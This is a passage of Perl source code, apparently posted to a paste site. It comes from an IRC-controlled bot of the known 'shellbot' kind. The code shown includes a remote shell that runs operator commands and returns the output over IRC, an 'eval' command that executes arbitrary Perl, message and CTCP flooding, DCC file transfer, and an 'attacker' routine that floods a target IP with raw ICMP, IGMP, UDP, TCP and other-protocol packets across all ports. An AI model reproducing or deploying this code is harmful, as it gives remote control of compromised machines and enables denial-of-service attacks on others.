  552.      j("$1");
  553.    }
  554.    elsif ($case =~ /^part (.*)/) {
  555.       p("$1");
  556.    }
  557.    elsif ($case =~ /^rejoin\s+(.*)/) {
  558.       my $chan = $1;
  559.       if ($chan =~ /^(\d+) (.*)/) {
  560.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  561.           p("$2");
  562.           j("$2");
  563.         }
  564.       } else {
  565.           p("$chan");
  566.           j("$chan");
  567.       }
  568.    }
  569.    elsif ($case =~ /^op/) {
  570.       op("$printl", "$kem") if $case eq "op";
  571.       my $oarg = substr($case, 3);
  572.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  573.    }
  574.    elsif ($case =~ /^deop/) {
  575.       deop("$printl", "$kem") if $case eq "deop";
  576.       my $oarg = substr($case, 5);
  577.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  578.    }
  579.    elsif ($case =~ /^voice/) {
  580.       voice("$printl", "$kem") if $case eq "voice";
  581.       $oarg = substr($case, 6);
  582.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  583.    }
  584.    elsif ($case =~ /^devoice/) {
  585.       devoice("$printl", "$kem") if $case eq "devoice";
  586.       $oarg = substr($case, 8);
  587.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  588.    }
  589.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  590.       msg("$1", "$2");
  591.    }
  592.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  593.       for (my $cf = 1; $cf <= $1; $cf++) {
  594.         msg("$2", "$3");
  595.       }
  596.    }
  597.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  598.       for (my $cf = 1; $cf <= $1; $cf++) {
  599.         ctcp("$2", "$3");
  600.       }
  601.    }
  602.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  603.       ctcp("$1", "$2");
  604.    }
  605.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  606.       invite("$1", "$2");
  607.    }
  608.    elsif ($case =~ /^nick (.*)/) {
  609.       nick("$1");
  610.    }
  611.    elsif ($case =~ /^jump\s+(\S+)\s+(\S+)/) {
  612.        conectar("$2", "$1", 6667);
  613.    }
  614.    elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  615.       DCC::SEND("$1", "$2");
  616.    }
  617.    elsif ($case =~ /^raw (.*)/) {
  618.       sendraw("$1");
  619.    }
  620.    elsif ($case =~ /^eval (.*)/) {
  621.       eval "$1";
  622.    }
  623.    elsif ($case =~ /^rj\s+(\S+)\s+(\d+)/) {
  624.     sleep int(rand($2));
  625.     j("$1");
  626.    }
  627.    elsif ($case =~ /^rp\s+(\S+)\s+(\d+)/) {
  628.     sleep int(rand($2));
  629.     p("$1");
  630.    }
  631.    elsif ($case =~ /^quit/) {
  632.      quit();
  633.    }
  634.    elsif ($case =~ /^rand/) {
  635.     my $novonick = getnick();
  636.      nick("$novonick");
  637.    }
  638.    elsif ($case =~ /^stat (.*)/) {
  639.      if ($1 eq "on") {
  640.       $xstats = 1;
  641.       msg("$printl", "Satus enabled");
  642.      } elsif ($1 eq "off") {
  643.       $xstats = 0;
  644.       msg("$printl", "Status disable");
  645.      }
  646.    }
  647.    elsif ($case =~ /^bang (.*)/) {
  648.      if ($1 eq "on") {
  649.       $pacotes = 1;
  650.       msg("$printl", "[x] Bang mode enabled") if ($xstats == "1");
  651.      } elsif ($1 eq "off") {
  652.       $pacotes = 0;
  653.       msg("$printl", "[x] Bang mode disabled") if ($xstats == "1");
  654.      }
  655.    }
  656. }
  657. sub shell {
  658.   return unless $shellaccess;
  659.   my $printl=$_[0];
  660.   my $comando=$_[1];
  661.   if ($comando =~ /cd (.*)/) {
  662.     chdir("$1") || msg("$printl", "cd: $1".": No such file or directory");
  663.     return;
  664.   }
  665.   elsif ($pid = fork) {
  666.      waitpid($pid, 0);
  667.   } else {
  668.       if (fork) {
  669.          exit;
  670.        } else {
  671.            my @resp=`$comando 2>&1 3>&1`;
  672.            my $c=0;
  673.            foreach my $linha (@resp) {
  674.              $c++;
  675.              chop $linha;
  676.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  677.              if ($c >= "$linas_max") {
  678.                $c=0;
  679.                sleep $sleep;
  680.              }
  681.            }
  682.            exit;
  683.        }
  684.   }
  685. }
  686.  
  687. sub attacker {
  688.   my $iaddr = inet_aton($_[0]);
  689.   my $msg = 'B' x $_[1];
  690.   my $ftime = $_[2];
  691.   my $cp = 0;
  692.   my (%pacotes);
  693.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  694.  
  695.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  696.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  697.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  698.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  699.   return(undef) if $cp == 4;
  700.   my $itime = time;
  701.   my ($cur_time);
  702.   while ( 1 ) {
  703.      for (my $porta = 1; $porta <= 65535; $porta++) {
  704.        $cur_time = time - $itime;
  705.        last if $cur_time >= $ftime;
  706.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  707.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  708.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  709.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  710.        for (my $pc = 3; $pc <= 255;$pc++) {
  711.          next if $pc == 6;
  712.          $cur_time = time - $itime;
  713.          last if $cur_time >= $ftime;
  714.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  715.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  716.        }
  717.      }
  718.      last if $cur_time >= $ftime;
  719.   }
  720.   return($cur_time, %pacotes);
  721. }
  722.  
  723. sub action {
  724.    return unless $#_ == 1;
  725.    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  726. }
  727. sub ctcp {
  728.    return unless $#_ == 1;
  729.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  730. }
  731. sub msg {
  732.    return unless $#_ == 1;
  733.    sendraw("PRIVMSG $_[0] :$_[1]");
  734. }
  735. sub notice {
  736.    return unless $#_ == 1;
  737.    sendraw("NOTICE $_[0] :$_[1]");
  738. }
  739. sub op {
  740.    return unless $#_ == 1;
  741.    sendraw("MODE $_[0] +o $_[1]");
  742. }
  743. sub deop {
  744.    return unless $#_ == 1;
  745.    sendraw("MODE $_[0] -o $_[1]");
  746. }
  747. sub hop {
  748.     return unless $#_ == 1;
  749.    sendraw("MODE $_[0] +h $_[1]");
  750. }
  751. sub dehop {
  752.    return unless $#_ == 1;
  753.    sendraw("MODE $_[0] +h $_[1]");
  754. }
  755. sub voice {
  756.    return unless $#_ == 1;
  757.    sendraw("MODE $_[0] +v $_[1]");
  758. }
  759. sub devoice {
  760.    return unless $#_ == 1;
  761.    sendraw("MODE $_[0] -v $_[1]");
  762. }
  763. sub ban {
  764.    return unless $#_ == 1;
  765.    sendraw("MODE $_[0] +b $_[1]");
  766. }
  767. sub unban {
  768.    return unless $#_ == 1;
  769.    sendraw("MODE $_[0] -b $_[1]");
  770. }
  771. sub kick {
  772.    return unless $#_ == 1;
  773.    sendraw("KICK $_[0] $_[1] :$_[2]");
  774. }
  775. sub modo {
  776.    return unless $#_ == 0;
  777.    sendraw("MODE $_[0] $_[1]");
  778. }
  779. sub mode { modo(@_); }
  780. sub j { &join(@_); }
  781. sub join {
  782.    return unless $#_ == 0;
  783.    sendraw("JOIN $_[0]");
  784. }
  785. sub p { part(@_); }
  786. sub part {sendraw("PART $_[0]");}
  787. sub nick {
  788.   return unless $#_ == 0;
  789.   sendraw("NICK $_[0]");
  790. }
  791. sub invite {
  792.    return unless $#_ == 1;
  793.    sendraw("INVITE $_[1] $_[0]");
  794. }
  795. sub topico {
  796.    return unless $#_ == 1;
  797.    sendraw("TOPIC $_[0] $_[1]");
  798. }
  799. sub topic { topico(@_); }
  800. sub whois {
  801.   return unless $#_ == 0;
  802.   sendraw("WHOIS $_[0]");
  803. }
  804. sub who {
  805.   return unless $#_ == 0;
  806.   sendraw("WHO $_[0]");
  807. }
  808. sub names {
  809.   return unless $#_ == 0;
  810.   sendraw("NAMES $_[0]");
  811. }
  812. sub away {
  813.   sendraw("AWAY $_[0]");
  814. }
  815. sub back { away(); }
  816. sub quit {
  817.   sendraw("QUIT :$_[0]");
  818.   exit;
  819. }
  820.  
  821. package DCC;
  822. sub connections {
  823.    my @ready = $dcc_sel->can_read(1);
  824. #   return unless (@ready);
  825.    foreach my $fh (@ready) {
  826.      my $dcctipo = $DCC{$fh}{tipo};
  827.      my $arquivo = $DCC{$fh}{arquivo};
  828.      my $bytes = $DCC{$fh}{bytes};
  829.      my $cur_byte = $DCC{$fh}{curbyte};
  830.      my $nick = $DCC{$fh}{nick};
  831.      my $msg;
  832.      my $nread = sysread($fh, $msg, 10240);
  833.      if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  834.         $DCC{$fh}{status} = "Cancelado";
  835.         $DCC{$fh}{ftime} = time;
  836.         $dcc_sel->remove($fh);
  837.         $fh->close;
  838.         next;
  839.      }
  840.      if ($dcctipo eq "get") {
  841.         $DCC{$fh}{curbyte} += length($msg);
  842.  
  843.         my $cur_byte = $DCC{$fh}{curbyte};
  844.  
  845.         open(FILE, ">> $arquivo");
  846.         print FILE "$msg" if ($cur_byte <= $bytes);
  847.         close(FILE);
  848.  
  849.         my $packbyte = pack("N", $cur_byte);
  850.         print $fh "$packbyte";
  851.  
  852.         if ($bytes == $cur_byte) {
  853.            $dcc_sel->remove($fh);
  854.            $fh->close;
  855.            $DCC{$fh}{status} = "Recebido";
  856.            $DCC{$fh}{ftime} = time;
  857.            next;
  858.         }
  859.      } elsif ($dcctipo eq "send") {
  860.           my $send = $fh->accept;
  861.           $send->autoflush(1);
  862.           $dcc_sel->add($send);
  863.           $dcc_sel->remove($fh);
  864.           $DCC{$send}{tipo} = 'sendcon';
  865.           $DCC{$send}{itime} = time;
  866.           $DCC{$send}{nick} = $nick;
  867.           $DCC{$send}{bytes} = $bytes;
  868.           $DCC{$send}{curbyte} = 0;
  869.           $DCC{$send}{arquivo} = $arquivo;
  870.           $DCC{$send}{ip} = $send->peerhost;
  871.           $DCC{$send}{porta} = $send->peerport;
  872.           $DCC{$send}{status} = "Enviando";
  873.           open(FILE, "< $arquivo");
  874.           my $fbytes;
  875.           read(FILE, $fbytes, 1024);
  876.           print $send "$fbytes";
  877.           close FILE;
  878. #          delete($DCC{$fh});
  879.      } elsif ($dcctipo eq 'sendcon') {
  880.           my $bytes_sended = unpack("N", $msg);
  881.           $DCC{$fh}{curbyte} = $bytes_sended;
  882.           if ($bytes_sended == $bytes) {
  883.              $fh->close;
  884.              $dcc_sel->remove($fh);
  885.              $DCC{$fh}{status} = "Enviado";
  886.              $DCC{$fh}{ftime} = time;
  887.              next;
  888.           }
  889.           open(SENDFILE, "< $arquivo");
  890.           seek(SENDFILE, $bytes_sended, 0);
  891.           my $send_bytes;
  892.           read(SENDFILE, $send_bytes, 1024);
  893.           print $fh "$send_bytes";
  894.           close(SENDFILE);
  895.      }
  896.    }
  897. }
  898.  
  899. sub SEND {
  900.   my ($nick, $arquivo) = @_;
  901.   unless (-r "$arquivo") {
  902.     return(0);
  903.   }
  904.   my $dccark = $arquivo;
  905.   $dccark =~ s/[.*\/](\S+)/$1/;
  906.   my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  907.   my $longip = unpack("N",inet_aton($meuip));
  908.   my @filestat = stat($arquivo);
  909.   my $size_total=$filestat[7];
  910.   if ($size_total == 0) {
  911.      return(0);
  912.   }
  913.   my ($porta, $sendsock);
  914.   do {
  915.     $porta = int rand(64511);
  916.     $porta += 1024;
  917.     $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  918.   } until $sendsock;
  919.   $DCC{$sendsock}{tipo} = 'send';
  920.   $DCC{$sendsock}{nick} = $nick;
  921.   $DCC{$sendsock}{bytes} = $size_total;
  922.   $DCC{$sendsock}{arquivo} = $arquivo;
  923.   &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  924. }
  925. sub GET {
  926.   my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  927.   return(0) if (-e "$arquivo");
  928.   if (open(FILE, "> $arquivo")) {
  929.      close FILE;
  930.   } else {
  931.     return(0);
  932.   }
  933.   my $dccip=fixaddr($dcclongip);
  934.   return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  935.   my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  936.   $dccsock->autoflush(1);
  937.   $dcc_sel->add($dccsock);
  938.   $DCC{$dccsock}{tipo} = 'get';
  939.   $DCC{$dccsock}{itime} = time;
  940.   $DCC{$dccsock}{nick} = $nick;
  941.   $DCC{$dccsock}{bytes} = $bytes;
  942.   $DCC{$dccsock}{curbyte} = 0;
  943.   $DCC{$dccsock}{arquivo} = $arquivo;
  944.   $DCC{$dccsock}{ip} = $dccip;
  945.   $DCC{$dccsock}{porta} = $dccporta;
  946.   $DCC{$dccsock}{status} = "Recebendo";
  947. }
  948. sub Status {
  949.   my $socket = shift;
  950.   my $sock_tipo = $DCC{$socket}{tipo};
  951.   unless (lc($sock_tipo) eq "chat") {
  952.     my $nick = $DCC{$socket}{nick};
  953.     my $arquivo = $DCC{$socket}{arquivo};
  954.     my $itime = $DCC{$socket}{itime};
  955.     my $ftime = time;
  956.     my $status = $DCC{$socket}{status};
  957.     $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  958.  
  959.     my $d_time = $ftime-$itime;
  960.  
  961.     my $cur_byte = $DCC{$socket}{curbyte};
  962.     my $bytes_total =  $DCC{$socket}{bytes};
  963.  
  964.     my $rate = 0;
  965.     $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  966.     my $porcen = ($cur_byte*100)/$bytes_total;
  967.  
  968.     my ($r_duv, $p_duv);
  969.     if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  970.        $r_duv = $3; $r_duv++ if $4 >= 5;
  971.        $rate = "$1\.$2"."$r_duv";
  972.     }
  973.     if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  974.        $p_duv = $3; $p_duv++ if $4 >= 5;
  975.        $porcen = "$1\.$2"."$p_duv";
  976.     }
  977.     return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  978.   }
  979.   return(0);
  980. }
  981.  
  982. sub fixaddr {
  983.     my ($address) = @_;
  984.  
  985.     chomp $address;
  986.     if ($address =~ /^\d+$/) {
  987.         return inet_ntoa(pack "N", $address);
  988.     } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  989.         return $address;
  990.     } elsif ($address =~ tr/a-zA-Z//) {
  991.         return inet_ntoa(((gethostbyname($address))[4])[0]);
  992.     } else {
  993.         return;
  994.     }
  995. }
Add Comment
Please, Sign In to add comment